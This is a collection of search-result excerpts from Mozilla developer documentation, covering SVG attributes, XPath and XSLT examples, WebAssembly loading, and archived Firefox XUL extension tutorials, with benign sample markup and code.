...opus audio audio/opus .otf opentype font font/otf .png portable network graphics image/png .pdf adobe portable document format (pdf) application/pdf .php hypertext preprocessor (personal home page) application/x-httpd-php .ppt microsoft powerpoint application/vnd.ms-powerpoint .pptx microsoft powerpoint (openxml) application/vnd.openxmlformats-officedocument.presentationml.presentation .rar rar archive application/vnd.rar .rtf rich text format (rtf) application/rtf .sh bourne shell script application/x-sh .svg scalable vector graphics (svg) image/svg+xml .swf small web format (swf) or adobe flash document application/x-shockwav...
... .vsd microsoft visio application/vnd.visio .wav waveform audio format audio/wav .weba webm audio audio/webm .webm webm video video/webm .webp webp image image/webp .woff web open font format (woff) font/woff .woff2 web open font format (woff) font/woff2 .xhtml xhtml application/xhtml+xml .xls microsoft excel application/vnd.ms-excel .xlsx microsoft excel (openxml) application/vnd.openxmlformats-officedocument.spreadsheetml.sheet .xml xml application/xml if not readable from casual users (rfc 3023, section 3) text/xml if readable from casual users (rfc 3023, section 3) .xul xul application/vnd.mozilla.xul+xml ...
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" end="8s" fill="freeze" /> </rect> <rect x="10" y="60" height="15" width="0"> <animate attributetype="xml" attributename="width" to="75" ...
... begin="0s" end="6s" fill="freeze" /> </rect> <rect x="10" y="85" height="15" width="0"> <animate attributetype="xml" attributename="width" to="50" begin="0s" end="4s" fill="freeze" /> </rect> <!-- grid --> <text x="10" y="20" text-anchor="middle">0s</text> <line x1="10" y1="25" x2="10" y2="105" stroke="grey" stroke-width=".5" /> <text x="35" y="20" text-anchor="middle">2s</text> <line x1="35" y1="25" x2="35" y2="105" stroke="grey" stroke-width=".5" /> <text x="60" y="20" text-anchor="middle">4s</text> <line x1="60" y1="25" x2="60" y2="105" stroke="grey" stroke-width=".5" /> <text x="85" y="20" text-anchor="middle">6s</text> <line x1="85" y1="25" x2="85" y2="105" stroke="grey...
...stroke-width=".5" /> <text x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="105" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="105" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> event example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangle --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="endbutton.click" dur="8s" repeatcount="indefinite" fill="freeze" /> </rect> <!-- trigger ...
...troke-width=".5" /> <text x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="55" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="55" x2="110" y2="55" stroke="grey" stroke-width=".5" /> </svg> accesskey example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="0s" end="accesskey(e)" dur="8s" repeatcount="indefinite" fill="freeze" /> </rect> <!-- trigger --...
stroke-linecap - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polyline>, <line>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the (default) "butt" value --> <line x1="1" y1="1" x2="5" y2="1" stroke="black" stroke-linecap="butt" /> <!-- effect of the "round" value --> <line x1="1" y1="3" x2="5" y2="3" stroke="black" stroke-linecap="round" /> <!-- effect of the "square" value --> <line x1="1" y1="5" x2="5" y2="5" stroke="black" stroke-...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "butt" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="butt" /> <!-- effect of the "butt" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="butt" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" ...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "round" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="round" /> <!-- effect of the "round" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="round" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pi...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "square" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="square" /> <!-- effect of the "square" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="square" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke...
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in this tab or window</text> ...
... </a> </svg> usage notes value _self | _parent | _top | _blank | <xml-name> default value _self animatable yes _replace the current svg image is replaced by the linked content in the same rectangular area in the same frame as the current svg image.
... <xml-name> specifies the name of the browsing context (tab, inline frame, object, etc.) for display of the linked content.
...the name must be a valid xml name [xml11], and should not start with an underscore (u+005f low line character), to meet the requirements of a valid browsing context name from html.
Content type - SVG: Scalable Vector Graphics
specifically: anything ::= char* where char is the production for a character, as defined in xml 1.0 , section 2.2.
...for example, an svg file called somedrawing.svg located at http://example.com might have the following iri: http://example.com/somedrawing.svg an iri can also address a particular element within an xml document by including an iri fragment identifier as part of the iri.
...for example, to fill a rectangle with a linear gradient, you first define a <lineargradient> element and give it an id, as in: <lineargradient xml:id="mygradient">...</lineargradient> you then reference the linear gradient as the value of the fill attribute for the rectangle, as in the following example: <rect fill="url(#mygradient)"/> svg supports two types of iri references: local iri references, where the iri reference does not contain an <absoluteiri> or <relativeiri> and thus only contains a fragment identifier (i.e., #<el...
...unless explicitly described differently, lists within svg's xml attributes can be either comma-separated (with optional white space before or after the comma), or white space-separated.
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
tation status unknown options dictionary attribute for svggraphicselement.getbbox() implemented behind the preference svg.new-getbbox.enabled (bug 999964, bug 1019326) allow leading and trailing whitespace in <length>, <angle>, <number> and <integer> implementation status unknown form feed (u+000c) in whitespace implementation status unknown svgelement.xmlbase, svgelement.xmllang and svgelement.xmlspace removed implementation status unknown svgviewspec removed implementation status unknown svgelement.style removed implementation status unknown svggraphicselement.gettransformtoelement() removed not removed yet svggraphicselement.getctm() on the outermost element implementation status unknown ...
...atus unknown svgsvgelement.currentview and svgsvgelement.usecurrentview removed svgsvgelement.currentview was never implemented, svgsvgelement.usecurrentview not removed yet (bug 1174097) svgunknownelement not implemented (bug 1239218) lang attribute without namespace implemented (bug 721920) svgsvgelement.viewport removed never implemented xml:base attribute removed implementation status unknown reorder descendent elements of <switch> having systemlanguage attribute according to allowreorder smil attribute implementation status unknown made <tspan> and <textpath> graphics elements implementation status unknown allow x, y, width, and height on <symbol> implementation status unknown made <u...
...key 2.43)) inner <svg>s and <foreignobjects>s not overflow: hidden; in ua style sheet implementation status unknown overflow: hidden; on <hatch> in ua style sheet implementation status unknown 0 0 as default value of transform-origin except root <svg> and <svg> children of <foreign> implementation status unknown use of white-space instead of deprecated xml:space attribute in ua style sheet implementation status unknown @font-face, ::first-letter and ::first-line on <text> implementation status unknown svg and html style sheets in html document with inline svg applying to whole document content implementation status unknown presentation attributes on any svg namespaced element implementation status unknown ...
...ge notes text-decoration-fill and text-decoration-stroke properties not implemented yet (bug 1303569) inline-size attribute for <text> implementation status unknown shape-inside property inplementation status unknown shape-subtract property inplementation status unknown white-space implementation status unknown deprecated xml:space attribute implementation status unknown kerning property removed implementation status unknown path attribute for <textpath> implemented (bug 1446617) reference basic shapes to <textpath> implementation status unknown side attribute for <textpath> implemented (bug 1446650) render characters for one loop of a single closed path, eff...
Introduction - SVG: Scalable Vector Graphics
« previousnext » svg is an xml language, similar to xhtml, which can be used to draw vector graphics, such as the ones shown to the right.
...however, this tutorial will rely on the trusty xml or text editor (your choice).
... before starting you should have a basic understanding of xml or another markup language such as html.
... if you are not too familiar with xml, here are some guidelines to keep in mind: svg elements and attributes should all be entered in the case shown here since xml is case-sensitive (unlike html).
SVG and CSS - SVG: Scalable Vector Graphics
copy and paste the content from here, making sure that you scroll to get all of it: <svg width="600px" height="600px" viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <radialgradient id="fade" cx="0" cy="0" r="200" gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-stop-2" offset="95%"/> </radialgradient> </defs> ...
... <svg width="600px" height="600px" viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <g id="segment" class="segment"> <path class="segment-fill" d="m0,0 v-200 a40,40 0 0,0 -62,10 z"/> <path class="segment-edge" d="m0,-200 a40,40 0 0,0 -62,10"/> </g> <g id="quadrant"> <use xlink:href="#segment"/> <use xlink...
...but you can use css for general-purpose xml documents, where there is no predefined way to display the elements.
... the next page demonstrates this: xml data ...
lang - XPath
WebXPathFunctionslang
notes a node's language is determined by its xml:lang attribute.
... if the current node does not have an xml:lang attribute, then the value of the xml:lang attribute of the nearest ancestor that has an xml:lang attribute will determine the current node's language.
... if the language cannot be determined (no ancestor has an xml:lang attribute), this function will return false.
... given this fragment of xml: <p xml:lang="en">i went up a floor.</p> <p xml:lang="en-gb">i took the lift.</p> <p xml:lang="en-us">i rode the elevator.</p> and this part of an xsl template: <xsl:value-of select="count(//p[lang('en')])" /> <xsl:value-of select="count(//p[lang('en-gb')])" /> <xsl:value-of select="count(//p[lang('en-us')])" /> <xsl:value-of select="count(//p[lang('de')])" /> the output might be: 3 1 1 0 defined xpath 1.0 4.3 gecko support supported.
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementoutput
syntax <xsl:output method="xml" | "html" | "text" version=string encoding=string omit-xml-declaration="yes" | "no" standalone="yes" | "no" doctype-public=string doctype-system=string cdata-section-elements=list-of-names indent="yes" | "no" media-type=string /> required attributes none.
... version specifies the value of the version attribute of the xml or html declaration in the output document.
... this attribute is only used when method="html" or method="xml".
... omit-xml-declaration indicates whether or not to include an xml declaration in the output.
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
figure 7: sorting based on div contentview example // xhtml fragment: <div id="example"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> <div>9</div> <div>10</div> </div> // javascript var xslref; var xslloaded = false; var xsltprocessor = new xsltprocessor(); var mydom; var xmlref = document.implementation.createdocument("", "", null); function sort() { if (!xslloaded){ p = new xmlhttprequest(); p.open("get", "example2.xsl", false); p.send(null); xslref = p.responsexml; xsltprocessor.importstylesheet(xslref); xslloaded = true; } // create a new xml document in memory xmlref = document.implementation.createdocument("", "", null); // ...
...we want to move a part of the dom from an html document to an xml document.
... // importnode is used to clone the nodes we want to process via xslt - true makes it do a deep clone var mynode = document.getelementbyid("example"); var clonednode = xmlref.importnode(mynode, true); // after cloning, we append xmlref.appendchild(clonednode); // set the sorting parameter in the xsl file var sortval = xsltprocessor.getparameter(null, "myorder"); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); // initiate the transformation var fragment = xsltprocessor.transformtofragment(xmlref, document); // clear the contents document.getelementbyid("example").innerhtml = ""; mydom = fragment; // add the new content from the tran...
...sformation document.getelementbyid("example").appendchild(fragment) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="html" indent="yes" /> <xsl:param name="myorder" /> <xsl:template match="/"> <xsl:apply-templates select="/div//div"> <xsl:sort select="." data-type="number" order="{$myorder}" /> </xsl:apply-templates> </xsl:template> <xsl:template match="div"> <xsl:copy-of select="." /> </xsl:template> </xsl:stylesheet> ...
Loading and running WebAssembly code - WebAssembly
using xmlhttprequest xmlhttprequest is somewhat older than fetch, but can still be happily used to get a typed array.
... again, assuming our module is called simple.wasm: create a new xmlhttprequest() instance, and use its open() method to open a request, setting the request method to get, and declaring the path to the file we want to fetch.
... next, send the request using xmlhttprequest.send().
... the final code looks like this: request = new xmlhttprequest(); request.open('get', 'simple.wasm'); request.responsetype = 'arraybuffer'; request.send(); request.onload = function() { var bytes = request.response; webassembly.instantiate(bytes, importobject).then(results => { results.instance.exports.exported_func(); }); }; note: you can see an example of this in action in xhr-wasm.html.
Cross-domain Content Scripts - Archive of obsolete content
in particular, they can't: access content hosted in an iframe, if that content is served from a different domain make cross-domain xmlhttprequests however, you can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the content - so in the example above, the content script will not be allowed to access content served from https://example.com/.
... cross-domain xmlhttprequest the following add-on creates a panel whose content is the summary weather forecast for shetland.
...quire("sdk/ui/button/action").actionbutton({ id: "get-forecast", label: "get the forecast", icon: "./icon-16.png", onclick: function() { forecast_panel.show(); } }); the "panel.html" just includes a <div> block for the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_summary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var summary = getsummar...
HTML in XUL for rich tooltips - Archive of obsolete content
this example is what the final xul overlay could look like, assuming a javascript overlay titled overlay.js: <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip1" label="foo1" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> <menuitem id="htmltip...
...ple dom object, stripping it of javascript and more complex tags var injecthtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml) .parsefragment(txt, false, null, div); //attach the dom object to the html div element div.appendchild(injecthtml); } } window.addeventlistener('load', htmltip.onload, false); in the xul overlay, xmlns:html is used to enable html tags to be used inside the xul.
... <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip3" label="foo3" tooltip="mytip3html" /> </popup> <popupset id="mainpo...
getAttributeNS - Archive of obsolete content
function getattributenswrapper (thisitem, ns, nsatt) { if (thisitem === null) { return false; } if (thisitem.getattributens) { return thisitem.getattributens(ns, nsatt); } else if (ns === null) { return thisitem.getattribute(nsatt); } else if (ns === 'http://www.w3.org/xml/1998/namespace') { // this is assumed so don't try to get an xmlns for the 'xml' prefix return thisitem.getattribute('xml:'+nsatt); // prefix must be 'xml' per the specs } var attrs2, result; var attrs = thisitem.attributes; var prefixatt = new regexp('^(.*):'+nsatt.replace(/\./g, '\\.')+'$'); // e.g., xlink:href // find any prefixes with the local-name being searched (es...
...cape period since only character (besides colon) allowed in an xml name which needs escaping) for (var j = 0; j < attrs.length; j++) { // thisitem's atts // e.g., abc:href, xlink:href while (((result = prefixatt.exec(attrs[j].nodename)) !== null) && thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { var xmlnsprefix = new regexp('^xmlns:'+result[1]+'$'); // e.g., xmnls:xl, xmlns:xlink // check higher up for xmlns:prefix // check the current node and if necessary, check for the next matching local name up in the hierarchy (until reaching the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { attrs2 = thisitem.attrib...
...utes; for (var i = 0; i < attrs2.length; i++) { // search for any prefixed xmlns declaration on thisitem which match prefixes found above with desired local name if (attrs2[i].nodename.match(xmlnsprefix) && attrs2[i].nodevalue === ns ) { // e.g., 'xmlns:xlink' and 'http://www.w3.org/1999/xlink' return attrs[j].nodevalue; } } thisitem = thisitem.parentnode; } } } return ''; // if not found (some implementations return 'null' but this is not standard) } alert(getattributenswrapper (someelement, 'http://www.w3.org/1999/xlink', 'href')); // gets xlink:href, xl:href, etc.
Multiple item extension packaging - Archive of obsolete content
the xml namespace xmlns:nc="http://home.netscape.com/nc-rdf#" must also be declared in your install.rdf as shown below.
...<rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- nsiupdateitem type for a multiple item package --> <em:type nc:parsetype="integer">32</em:type> ...
...<rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- nsiupdateitem type for a multiple item package --> <em:type>32</em:type> ...
The Box Model - Archive of obsolete content
xulschoolhello.linkedtext.label = go to <html:a onclick="%s">our site</html:a> for more information to include html in a xul document, you need to add the namespace for it in the document root: <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> then you can have an html:p (paragraph) element where you insert the result of parsing the property string.
... you can easily parse xml using the domparser object.
... since xul documents are strict xml, you can only use strict xhtml in xul, and not the more loosely-formatted forms of html.
Adding preferences to an extension - Archive of obsolete content
var fieldarray = output.split(","); samplepanel.label = symbol + ": " + fieldarray[1]; samplepanel.tooltiptext = "chg: " + fieldarray[4] + " | " + "open: " + fieldarray[5] + " | " + "low: " + fieldarray[6] + " | " + "high: " + fieldarray[7] + " | " + "vol: " + fieldarray[8]; } } var httprequest = new xmlhttprequest(); httprequest.open("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } } note that we use stockwatcher.tickersymbol here instead of this.tickersymbol to get the stock symbol to watch.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <prefwindow id="stockwatcher2-prefs" title="stockwatcher 2 options" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="sw2-stock-pane" label="stock settings"> <preferences> <preference id="pref_symbol" name="extensions.stockwatcher2.symbol" type="string"/> </prefer...
...your options.xul file would look like this: <?xml version="1.0" ?> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting pref="extensions.stockwatcher2.symbol" type="string" title="stock to watch" /> </vbox> adding the context menu adding the contextual menu is easy; all the work that needs doing is done in the stockwatcher2.xul file.
XUL user interfaces - Archive of obsolete content
mozilla overcomes this limitation by providing a specialized language for creating user interfaces: xul (xml user-interface language, usually pronounced like "zool").
...like other xml-based languages, xul uses css stylesheets.
...copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </columns>...
Creating a status bar extension - Archive of obsolete content
<?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>status-bar-sample-1@example.com</em:id> <em:version>1.0</em:version> <em:type>2</em:type> <!-- front end metadata --> <em:name>status bar sample 1</em:name> <em:description>sample static st...
...our overlay file, status-bar-sample-1.xul, looks like this: <?xml version="1.0" encoding="utf-8"?> <!doctype overlay > <overlay id="status-bar-sample-1-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- firefox --> <statusbar id="status-bar"> <statusbarpanel id="status-bar-sample-1" label="hello world" tooltiptext="sample status bar item" /> </statusbar> </overlay> the first order of business...
...this is accomplished by the following line of xml: <overlay id="status-bar-sample-1-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> once that's accomplished, we can describe our user interface.
Creating a Firefox sidebar extension - Archive of obsolete content
chrome/content/emptysidebar.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css" ?> <?xml-stylesheet href="chrome://browser/skin/browser.css" type="text/css" ?> <!doctype page system "chrome://emptysidebar/locale/emptysidebar.dtd"> <page id="sbemptysidebar" title="&emptysidebar.title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" > <vbox flex="1"> <label id="...
...chrome/content/firefoxoverlay.xul <?xml version="1.0"?> <!doctype overlay system "chrome://emptysidebar/locale/emptysidebar.dtd"> <overlay id="emptysidebaroverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="viewsidebarmenu"> <menuitem key="key_openemptysidebar" observes="viewemptysidebar" /> </menupopup> <keyset id="mainkeyset"> <key id="key_openemptysidebar" command="viewemptysidebar" ...
...install.rdf <?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>emptysidebar@yourdomain.com</em:id> <em:name>emptysidebar extension</em:name> <em:version>1.0</em:version> <em:creator>your name</em:creator> <em:description>example extension for...
Making it into a static overlay - Archive of obsolete content
to make the file into a static overlay, we need to move all the code we added to navigator.xul into a new file tinderstatusoverlay.xul in the same directory: <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://navigator/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-icon...
...ic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> tinderstatusoverlay.xul starts with an xml processing instruction that identifies the file as xml (all xul files need to include this).
... <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> <?xul-overlay href="chrome://navigator/content/navigatoroverlay.xul"?> <?xul-overlay href="chrome://navigator/content/navextraoverlay.xul"?> <?xul-overlay href="chrome://navigator/content/linktoolbaroverlay.xul"?> <?xul-overlay href="chrom...
Layout System Overview - Archive of obsolete content
layout's job: provide the presentation layout is primarily concerned with providing a presentation to an html or xml document.
...in other words, the same html or xml document could be viewed as a normal galley presentation in a browser window, while simultaneously being presented in a paged presentation to a printer, or even an aural presentation to a speech-synthesizer.
...the fundamentals of frames: block and line there are many types of frames that are designed to model various formatting requirements of different html and xml elements.
Makefile.mozextension.2 - Archive of obsolete content
note: unfortunately, this wiki system at developer.mozilla.org will try to parse xml declarations - even if they are within a pre tag!!
... ###### #firefox {ec8030f7-c20a-464f-9b0e-13a3a9e97384} #thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6} #nvu {136c295a-4a5a-41cf-bf24-5cee526720d5} #mozilla suite {86c18b42-e466-45a9-ae7a-9b95ba6f5640} #seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} #sunbird {718e30fb-e89b-41dd-9da7-e25a45638b28} #netscape browser {3db10fab-e461-4c80-8b97-957ad5f8ea47} ###### define install_rdf <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <id>$(project_id)</id> <name>$(project_name)</name> <version>$(project_version)</version> <description>$(project_desc)</description> <creator>$(project_author)</creator> <contributor>here is a place for you who helped me</contributor> <homepageurl>...
...application> <description> <id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</id> <minversion>2.0</minversion> <maxversion>9.0</maxversion> </description> </targetapplication> </description> </rdf> endef export install_rdf install.rdf: @echo generating $(project)/install.rdf @echo "$$install_rdf" > $(project)/install.rdf ###### define overlay_xul <overlay id="$(project)-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"><script src="overlay.js"/></overlay> ...
RDF Datasource How-To - Archive of obsolete content
for examples of an implementation like this, look at the rdf/xml datasource or the bookmarks datasource.
...the following xul fragment illustrates how to instantiate a tree control whose body is "rooted" to a resource (http://foo.bar.com/) that your datasource describes: <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns:rdf="http://www.w3.org/tr/wd-rdf-syntax#" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <tree datasources="rdf:my-datasource" ref="http://foo.bar.com/"> <template> <treechildren> <treeitem uri="..."> <treerow> <treecell> <text value="rdf:http://home.netscape.com/nc-rdf#name" /...
...this is a space-separated list that may include internal xpcom datasource "identifiers" (as described above) and uris for local or remote rdf/xml documents.
XBL 1.0 Reference - Archive of obsolete content
extensible binding language is a xml-based markup language to implement reusable components (bindings) that can be bound to elements in other documents.
... functionally bindings should be correlated with behaviors and viewlink but being implemented as one integrated xml solution.
... notes.html notes.xml notes.css view this example download all files (.zip archive) need to ask to adjust the server - it gives "access denied" for zip files (?) references initial xbl 1.0 proposal submitted as a note to w3c (does not reflect mozilla implementation, nor future plans) xbl 2.0 project original document information last updated date: april 24, 2006 ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
introduction as you know, xul is an xml language used in various mozilla-based applications, such as firefox and thunderbird, to describe the user interface.
...todo: simple example of a xul document and a tree you can think of a document as an in-memory representation of valid html or well-formed xml such as xhtml or xul.
...it uses document.createelementns() method to create the items, and insertbefore() with appendchild() to insert the created xml elements within the document.
Uploading and Downloading Files - Archive of obsolete content
this operation can also be performed via a script using the xmlhttprequest object.
...the formdata object can then simply be passed to xmlhttprequest: function upload(posturl, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation.
... function uploadput(posturl, filepath) { var req = new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's send method.
Namespaces - Archive of obsolete content
xml namespaces can be used in xul templates by binding the namespace uri and prefix to the template element.
... for example using the following xml document containing a list of people: <people xmlns="www.example.com/people"> <person name="napoleon bonaparte" gender="male"/> <person name="cleopatra" gender="female"/> <person name="julius caesar" gender="male"/> <person name="ferdinand magellan" gender="male"/> <person name="laura secord" gender="female"/> </people> <listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <action> <listitem uri="?" label="?ns:name"/> </action> </template> </listbox> once added to the template element the namespaces can then be referenced inside temple rule elements too, this works both in rdf and xml templates.
... <listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <rule ns:gender="male"> <label uri="?" label="?ns:name"/> </action> </template> </listbox> ...
Sorting Results - Archive of obsolete content
for an xml datasource, generated content will be output in the order corresponding to the results of the xpath query expression.
...here is a sample of how to specify this in the rdf/xml datasource: <rdf:rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:r="http://www.xulplanet.com/rdf/" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"> <r:date nc:parsetype="date">1125966767295<r:date> </rdf:description> </rdf:rdf>...
...<listbox datasources="people2.xml" ref="*" querytype="xml" sort="?name" sortdirection="ascending"> <template> <query expr="*/*"/> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> it will often be the case that multiple items have the same value, especially for larger amounts of data.
The Joy of XUL - Archive of obsolete content
